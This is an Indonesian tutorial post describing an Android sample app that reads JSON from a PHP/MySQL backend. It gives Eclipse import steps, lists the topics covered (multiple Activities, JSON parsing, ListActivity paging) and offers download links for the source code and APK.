Aplikasi ini saya buat dengan Eclipse IDE Helios dengan plugins ADT Android. Untuk lebih jelasnya silahkan baca disini : http://developer.android.com/sdk/installing/index.html
Untuk import project, lakukan langkah berikut di Eclipse IDE :
  • Menu File – Import
  • Pilih Existing Projects into Workspace
  • Pilih Folder project
Pada aplikasi ini yang dapat di pelajari antara lain :
  • Akses json ke server dengan backend PHP
  • Penggunaan lebih dari 1 Activity
  • Pengiriman parameter ke Activity
  • Parsing JSON
  • Menampilkan data JSON ke ListActivity
  • Paging di ListActivity
Beberapa Screen Shot Aplikasi :
Menu Utama
Menu Utama
Filter
List Berdasarkan Abjad
List Berdasarkan Abjad
Detail Nama
Download Source Code PHP disini
Download MySQL Script disini
Download Source Code Android disini
Download APK (installer android) disini, untuk menjalankan aplikasi ini harus ada koneksi internet